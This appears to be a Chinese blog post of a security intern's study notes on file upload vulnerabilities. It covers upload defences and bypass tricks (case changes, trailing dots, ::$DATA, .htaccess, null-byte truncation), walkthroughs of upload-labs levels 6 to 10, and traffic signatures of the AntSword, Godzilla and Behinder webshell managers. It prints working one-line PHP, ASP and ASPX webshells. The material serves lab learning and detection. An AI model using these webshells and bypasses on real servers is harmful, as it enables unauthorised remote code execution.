实习Day7

目录

一、文件上传防御手段及绕过手段

        文件上传防御手段

1. 验证文件类型

2. 检查文件大小

3. 内容扫描

4. 重命名和隔离存储

5. 验证用户身份和授权

6. 设置上传频率和数量限制

        文件上传绕过手段

1. 前端绕过

2. 黑名单绕过

3. 白名单绕过

二、 文件上传常用一句话木马

三、三种webshell管理工具

1.antsword

        生成木马

        连接测试

         代理设置抓包

         流量分析

2.godzilla

        生成木马

        测试连接

        抓包

        流量分析

3.behinder

        生成木马

        测试连接

        代理设置抓包

        流量分析

四、文件上传无回显如何查找webshell地址

1. 利用网站日志

2. 监控网络流量

3. 扫描和探测

4. 审查代码和配置文件

五、文件上传表单的无参/有参情况下构造表单 

六、upload-labs靶场

pass-6

pass-7

pass-8

pass-9

pass-10


一、文件上传防御手段及绕过手段

        文件上传防御手段

1. 验证文件类型

        白名单验证:只允许上传特定类型的文件,如图像文件、PDF文件等,通过设置白名单来限制文件类型,避免上传潜在的恶意文件。

        MIME类型检测:检查文件的MIME类型,确保其与预期的文件类型相匹配,防止攻击者通过修改文件扩展名来绕过检测。

2. 检查文件大小

        设置最大文件大小:限制上传文件的大小,避免上传过大的文件导致服务器资源耗尽。这可以通过服务器配置或应用程序设置来实现。

3. 内容扫描

        恶意软件扫描:使用反恶意软件引擎对上传的文件进行扫描,检测并阻止包含恶意代码的文件。建议结合多个反恶意软件引擎以提高检测率。

        检查文件内容:除了MIME类型和扩展名外,还应检查文件内容的头部信息或特定区域的代码,确保文件内容符合预期,没有包含恶意脚本或代码。

4. 重命名和隔离存储

        随机化文件名:对上传的文件进行重命名,使用随机生成的标识符作为文件名,增加攻击者猜测文件路径的难度。

        隔离存储:将上传的文件存储在与应用服务器分离的专用存储区域,减少直接访问风险,并确保文件不会覆盖服务器上的关键文件。

5. 验证用户身份和授权

        用户身份验证:在上传文件前要求用户进行身份验证,确保只有经过授权的用户才能上传文件。

        权限控制:根据用户的角色和权限来限制其对文件上传功能的访问和使用。

6. 设置上传频率和数量限制

        上传频率限制:限制用户在给定时间内可以上传的文件数量,防止恶意用户或自动化脚本滥用上传功能。

        总数量限制:设置用户在特定时间内可以上传的文件总数限制,避免无限制地上传文件导致服务器资源耗尽。

        文件上传绕过手段

1. 前端绕过

        删除或禁用前端校验函数:可以通过删除JavaScript代码中的校验函数或禁用浏览器的JavaScript来绕过前端的文件类型、大小等校验。

        修改数据包:使用工具(如Burp Suite)捕获并修改HTTP请求中的数据包,将恶意文件的后缀名修改为系统允许的后缀名,从而绕过前端的校验。

2. 黑名单绕过

        等价扩展名绕过:利用系统对不同扩展名解析的等价性,将恶意文件重命名为黑名单中未包含的扩展名进行上传。

        .htaccess文件上传:通过上传包含特定配置的.htaccess文件,使服务器将特定类型的文件(如图片)当作PHP文件解析执行。

        大小写绕过:修改文件扩展名为大写形式(如PHP改为PHP),由于Windows系统对大小写不敏感,可能绕过黑名单检测。

        空格、点号、::DATA绕过:在文件扩展名后添加空格、点号或::DATA字符串,利用Windows系统的特性绕过黑名单。这些字符在文件保存到服务器时可能会被自动去除或忽略。

        双写绕过:利用某些过滤机制只替换一次黑名单中的关键字,通过双写关键字(如.pphphp)绕过过滤。

        文件头检测绕过:通过在恶意文件前添加合法的文件头(如GIF89a),使系统误认为是合法文件而允许上传。

3. 白名单绕过

        MIME类型绕过:修改HTTP请求中的Content-Type字段,使其与白名单中的MIME类型相匹配,从而绕过MIME类型检测。

        00截断绕过:在某些情况下,通过在文件名中使用%00(URL编码的0x00)进行截断,可以绕过文件名检测的限制。但这需要满足特定条件,如PHP版本小于5.3.4且magic_quotes_gpc配置为Off。

二、 文件上传常用一句话木马

php: <?php @eval($_POST['cmd']); ?>

asp: <% eval request('cmd') %> 或 <% execute(request('cmd')) %>

aspx: <%@ Page Language="Jscript"%> <%eval(Request.Item["cmd"],"unsafe");%>

        @符号在PHP中用于抑制错误信息的显示,即使执行出错也不会显示错误信息。

        eval()函数用于执行字符串作为PHP代码。

        $_POST['cmd']、request("cmd")、Request.Item["cmd"]分别是从HTTP POST请求中获取名为"cmd"的参数值。

三、三种webshell管理工具

        (演示使用该工具连接webshell及抓取流量包进行分析特征)

1.antsword

        生成木马
<?php
eval($_POST["pwd"]);

        连接测试

         代理设置抓包

         点击文件抓包

         流量分析

        蚁剑中php使用assert、eval执行;asp只有eval执行;在jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征。

        使用一句话木马上传webshell,抓包后会发现每个请求体都存在以@ini_set("display_errors","0");@set_time_limit(0)开头。并且响应体的返回结果是base64编码发混淆字符。

2.godzilla

        生成木马

        测试连接

        抓包

        流量分析

        所有请求中Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
        所有响应中Cache-Control: no-store, no-cache, must-revalidate

        Cookie中有一个非常关键的特征,最后会有个分号。。

        响应体的数据有一定特征,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。

3.behinder

        生成木马

        ​​​​​​​测试连接

 

        代理设置抓包

        流量分析

        Accept字段(弱特征),通常是Accept: application/json, text/javascript, /; q=0.01 意思是浏览器可接受任何文件,但最倾向application/json 和 text/javascript。
        Content-Type字段(弱特征),通常是Content-type: Application/x-www-form-urlencoded
与冰蝎的前述版本相似,进行请求时内置了十几个User-Agent头,每次请求时会随机选择其中的一个。
        冰蝎与webshell建立连接的同时,java也与目的主机建立tcp连接,每次连接使用本地端口在49700左右(就是比较大的端口),每连接一次,每建立一次新的连接,端口就依次增加。
        使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection:Keep-Alive
        有固定的请求头和响应头,请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M ,响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd
        默认时,冰蝎 webshell都有“e45e329feb5d925b” 一串密钥

四、文件上传无回显如何查找webshell地址

1. 利用网站日志

        Web服务器日志:检查Web服务器的访问日志和错误日志,这些日志中可能包含有关文件上传操作的信息,如上传的文件名、上传时间以及可能的目标路径。

        应用程序日志:如果网站有详细的应用程序日志记录功能,那么这些日志中也可能包含有关文件上传的详细信息。

2. 监控网络流量

        使用网络抓包工具(如Wireshark)监控网络流量,特别是在执行文件上传操作时。这可以帮助你捕获上传过程中发送的HTTP请求和响应,从而可能推断出Webshell的上传路径。

3. 扫描和探测

        Webshell扫描工具:利用专业的Webshell扫描工具(如D盾、河马等)对网站进行扫描,这些工具可以识别并定位已上传的Webshell文件。

        手动扫描:如果扫描工具无法找到Webshell,可以考虑手动扫描网站的目录结构,特别是那些可能被用于存放上传文件的目录(如/uploads/images等)。

4. 审查代码和配置文件

        代码审计:如果可能的话,对网站的源代码进行审计,特别是与文件上传功能相关的部分。这可以帮助你了解文件上传的具体实现方式以及可能的Webshell上传路径。

        配置文件审查:检查网站的配置文件(如.htaccessweb.config等),这些文件中可能包含有关文件上传和处理的规则或路径信息。

五、文件上传表单的无参/有参情况下构造表单 

        Burp Suite中构造请求体示例

        有参

POST /upload.php HTTP/1.1  
Host: example.com  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW  

------WebKitFormBoundary7MA4YWxkTrZu0gW  
Content-Disposition: form-data; name="file"; filename="test.txt"  
Content-Type: text/plain  

Hello, World!  
------WebKitFormBoundary7MA4YWxkTrZu0gW  
Content-Disposition: form-data; name="userId"  

12345  
------WebKitFormBoundary7MA4YWxkTrZu0gW--

        无参

POST /upload.php HTTP/1.1  
Host: example.com  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW  

------WebKitFormBoundary7MA4YWxkTrZu0gW  
Content-Disposition: form-data; name="file"; filename="test.txt"  
Content-Type: text/plain  

Hello, World!  
------WebKitFormBoundary7MA4YWxkTrZu0gW--


六、upload-labs靶场

pass-6

        通过源码得知,并未对其大小进行限制,且是由于是黑名单,只限制了不可以上传的,那么的我们可以对php后缀进行大小写变形,例如:PHP、Php、pHp等 

        上传成功 

pass-7

        通过源码发现并未对空格进行限制,可以在后缀添加一个空格进行绕过,在Windows系统中我们无法创建后缀带空格的文件,但是在数据包中不会对后缀的空格进行清除,需要使用到BP进行抓包,对其进行修改,然后再进行上传。 

         上传成功

pass-8

        通过源码发现,本关并未对结尾点进行检测。那么这里就可以通过在后缀加上点进行绕过

         上传成功

pass-9

        通过源码发现并未对::$DATA进行检测。可以在后面添加::$DATA进行绕过

        上传成功 

pass-10

        通过源码发现本关之前所有的绕过思路都被过滤了,但是通过源码发现,所有的过滤都是一次的,并未对其进行循环过滤。也就是说源码中提到的删除空格,删除点都是只删除一次,那么可以在数据包中将php后缀添加. .,形成.php.  .,由于只验证一次,所以删除一个点和一个空格后就不在删除了。 

         上传成功

  • 28
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值